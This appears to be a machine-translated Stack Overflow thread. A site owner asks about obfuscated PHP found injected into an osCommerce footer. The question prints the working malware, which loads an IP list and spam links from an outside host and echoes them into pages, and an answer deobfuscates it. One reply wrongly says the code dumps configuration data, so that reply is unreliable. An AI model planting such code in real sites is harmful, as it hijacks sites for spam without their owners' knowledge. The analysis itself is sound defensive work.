2011-05-31 57 views
5

我正在查看某個網站已被某人/某事利用。該網站注入了一系列鏈接,鏈接到製藥公司,誰知道還有什麼。頁腳頂部有很多鏈接。我現在只能在雅虎索引中的緩存頁面上找到它們。谷歌仍然不滿意該網站,而現場網站不再顯示任何鏈接。這是一個客戶..所以我主要知道我被告知,我能找到其他明智的。此代碼是一個漏洞利用?這段代碼是什麼?

我發現這個代碼在footer.php的非常「尖端/頂部」(這是一個OsCommerse網站):

<?php $x13="cou\156\x74"; $x14="\x65\x72\162\x6fr\x5f\x72ep\157\162\164ing"; $x15="\146\151l\x65"; $x16="\146i\154\145_g\x65t\x5f\x63\x6fn\164\145n\164s"; $x17="\163\x74rle\156"; $x18="\163tr\160o\x73"; $x19="su\x62\x73\164\162"; $x1a="tr\151m"; 
ini_set(' display_errors','off');$x14(0);$x0b = "\150t\x74p\x3a\057\057\x67\145n\x73h\157\x70\056org/\163\x63\162ipt\057\155a\163k\x2e\x74x\x74";$x0c = $x0b; $x0d = $_SERVER["\x52E\115O\124\105_A\104\104\122"]; $x0e = @ $x15($x0c); for ($x0f = 0; $x0f < $x13($x0e); $x0f++) {$x10 = $x1a($x0e[$x0f]);if ($x10 != ""){ if (($x11 = $x18($x10, "*")) !== false) $x10 = $x19($x10, 0,$x11); if ($x17($x10) <= $x17($x0d) && $x18($x0d, $x10) === 0) { $x12 =$x16("\150\164\164\160\x3a/\057g\145\x6e\x73\x68o\160\056o\162\x67\057\160aral\x69\x6e\x6b\x73\x2f\156e\167\x2f3\057\x66\145e\144\x72\157lle\x72\x2e\143\x6f\x6d\x2e\x74\170\x74"); echo "$x12"; } }}echo "\x3c\041\055\x2d \060\x36\071\x63\x35b4\x66e5\060\062\067\146\x39\x62\0637\x64\x653\x31d2be5\145\141\143\066\x37\040\x2d-\076";?> 

當我查看有「壞」鏈接源緩存的網頁,這段代碼適合我在footer.php源代碼中找到它的地方。對谷歌的一點研究表明,在那裏有類似代碼的漏洞。

你怎麼想,當我自己的服務器上運行它,我得到的是源只有像這樣的呼應評論:

<!-- 069c5b4fe5027f9b37de31d2be5eac67 --> 

我不想只是匆匆刪除代碼和只因爲它看起來很糟糕而說'你的好',尤其是因爲我沒有立即知道'壞鏈接'已經消失。順便說一句,這些鏈接都會轉到一個死鏈接。

你可以看到不好的網頁在雅虎仍緩存: http://74.6.117.48/search/srpcache?ei=UTF-8&p=http%3A%2F%2Fwww.feedroller.com%2F+medicine&fr=yfp-t-701&u=http://cc.bingj.com/cache.aspx?q=http%3a%2f%2fwww.feedroller.com%2f+medicine&d=4746458759365253&mkt=en-US&setlang=en-US&w=b97b0175,d5f14ae5&icp=1&.intl=us&sig=Ifqk1OuvHXNcZnGgPR9PbA--

+0

這只是一個加密的數據attaced。 – Racooon 2011-05-31 18:59:23

+0

是的,它是利用代碼。故意混淆以使其「很難」看到它的功能。一旦你瀏覽了混淆層,它就會歸結爲像'eval($ do_something_nasty)'這樣的東西。 – 2011-05-31 19:01:32

+4

'echo -n'primitive'| md5#=> 069c5b4fe5027f9b37de31d2be5eac67' :) – zoul 2011-05-31 19:01:37

回答

2

這裏的是非模糊的腳本(或多或少)

它只是傾銷this url內容到頁面

它還會檢查remote_addr針對list of IPs(google等)嘗試保持未檢測到。

看起來像你被genshop.com

<?php 

$count="cou\156\x74"; // count 
$error_reporting="\x65\x72\162\x6fr\x5f\x72ep\157\162\164ing"; // error_reporting 
$file="\146\151l\x65"; // file 
$file_get_contents="\146i\154\145_g\x65t\x5f\x63\x6fn\164\145n\164s"; // file_get_contents 
$strlen="\163\x74rle\156"; // strlen 
$strpos="\163tr\160o\x73"; // strpos 
$substr="su\x62\x73\164\162"; // substr 
$trim="tr\151m"; //trim 

ini_set(' display_errors','off'); 
$error_reporting(0); 

$x0b = "http://genshop.org/scripts/mask.txt"; 
$url = $x0b; 
$tmp = "REMOTE_ADDR"; 
$x0d = $_SERVER[$tmp]; 
$tmp_filename = "http://genshop.org/paralinks/new/3/feedroller.com.txt"; 

$IPs = @ $file($url); 
for ($i = 0; $i < $count($IPs); $i++) { 
    $curr_ip = $trim($ips[$i]); 
     if ($curr_ip != "") { 
      if (($x11 = $strpos($curr_ip, "*")) !== false) 
       $curr_ip = $substr($curr_ip, 0,$x11); 

      // check visitor ip against mask list 
      if ($strlen($curr_ip) <= $strlen($x0d) && $strpos($x0d, $curr_ip) === 0) { 
       $x12 = $file_get_content($tmp_filename); 
       echo "$x12"; 
       // print spam contents 
      } 
     } 
    } 
echo $curr_ip; 
} 

$tmp2 = "\x3c\041\055\x2d \060\x36\071\x63\x35b4\x66e5\060\062\067\146\x39\x62\0637\x64\x653\x31d2be5\145\141\143\066\x37\040\x2d-\076"; 
echo $tmp2; 
?> 
+0

他們將如何將其引入源代碼?它只是一個錯誤的文件權限的情況下,或者它是一個糟糕的託管或兩者兼而有之? – rhaag71 2011-05-31 19:31:23

+0

我的猜測是你有一些寫到磁盤上的腳本,它是可利用的。也許和上傳腳本或一些現成的CGI修改文件系統?你在任何地方運行exec()或system()嗎?可以用更好的權限解決,但如果你發現並關閉了洞,我會是最好的。 – 2011-05-31 19:35:04

+0

利用代碼總是怪異的...注意他們有額外的代碼來修復它們的掩碼ip列表中的星號...爲什麼不只是改變mask.txt?大聲笑。 – 2011-05-31 19:36:58

2

這很是轉儲你的運行配置信息的嘗試。立即將其刪除。

它的工作方式非常複雜,並且超出了我的範圍,但它是黑客入侵網站的第一步。

+0

謝謝你的回答,它也超出了我的想象。我要刪除它,稍後再回到這裏。我想我會查看所有來源,並嘗試找到更多。謝謝 – rhaag71 2011-05-31 19:06:33

+0

@ rhaag71你應該改變ftp和任何服務器登錄密碼,或者同一個人可以回來。 – Jordan 2011-05-31 19:13:33